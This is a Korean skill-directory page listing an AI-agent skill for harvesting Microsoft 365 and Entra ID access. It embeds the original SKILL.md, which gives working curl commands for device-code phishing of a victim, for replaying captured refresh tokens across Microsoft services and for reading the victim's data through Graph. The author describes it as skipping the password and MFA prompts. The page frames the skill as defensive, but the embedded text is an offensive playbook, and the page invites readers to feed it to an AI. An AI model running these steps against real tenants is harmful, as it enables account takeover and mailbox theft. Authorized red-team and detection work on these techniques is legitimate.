본문으로 건너뛰기
Skillpedia
보안6.5k · #14121

o365-credential-harvest

하는 일

이 가이드는 공격자가 가짜 비밀번호 페이지 없이 토큰을 얻기 위해 쓰는 Microsoft 365와 Entra ID의 로그인 패턴을 설명합니다. Microsoft 테넌트를 보호하는 ID 및 보안 팀을 위한 것입니다.

사용하는 경우

  • ✓필요하지 않은 사용자에게 장치 코드 로그인이 허용되어 있는지 ID 팀이 확인하려는 경우.
  • ✓팀이 비정상적인 토큰 사용이나 새 기기 로그인에 대한 경고를 원할 때.
  • ✓허가된 테스트가 토큰 탈취를 어떻게 탐지할지 확인하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“앱이 동작하지 않게 되지 않도록 하면서, Microsoft 365에서 대부분의 사용자에 대한 장치 코드 로그인을 차단할 수 있을까요? 설정을 점검해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 로그인과 조건부 액세스 설정을 검토하고, 장치 코드 흐름이 허용된 곳을 나열한 뒤, 오용을 차단하거나 탐지할 정책과 경고를 제안합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

O365 / Entra Credential & Token Harvest

Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.

Device-code flow

The attacker requests a device code; the victim is social-engineered to enter it at the real microsoft.com/devicelogin. After they complete sign-in (MFA included), the attacker polls and receives access + refresh tokens.

TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
  -d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"

Token replay (TokenTactics pattern)

A refresh token captured here (or via evilginx2-proxy) is exchanged for access tokens against Graph, Outlook, SharePoint, Teams — each a distinct resource scope — without re-auth.

RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
  -d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com

Validate

A token is interesting; a Graph call returning the victim's mailbox / directory data is the finding: curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.

Evidence

Tokens → Credential nodes (type oauth-token, with scope + expiry) linked to the User node. Store ONLY under evidence/phisher/ + the knowledge graph.

RoE / OPSEC

  • Device-code lures still require the lure-deconfliction handshake.
  • Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
  • NEVER read more mailbox/Graph data than the objective requires; abide by plan/roe.json:data_handling.
자주 묻는 질문

장치 코드 로그인이란 무엇인가요?

키보드가 없는 장치를 위한 로그인 방식인데, 공격자가 사용자를 속여 코드를 입력하게 하는 데 악용될 수 있습니다.

토큰 리플레이란 무엇인가요?

다시 로그인하지 않고 탈취한 토큰을 다른 Microsoft 서비스에 재사용하는 것입니다.

무엇을 감시해야 하나요?

비정상적인 로그인 출처, 새 기기에서의 토큰 사용, 예상하지 않은 장치 코드 로그인입니다.

상세 정보

작성자의 원본 설명

Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14121
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬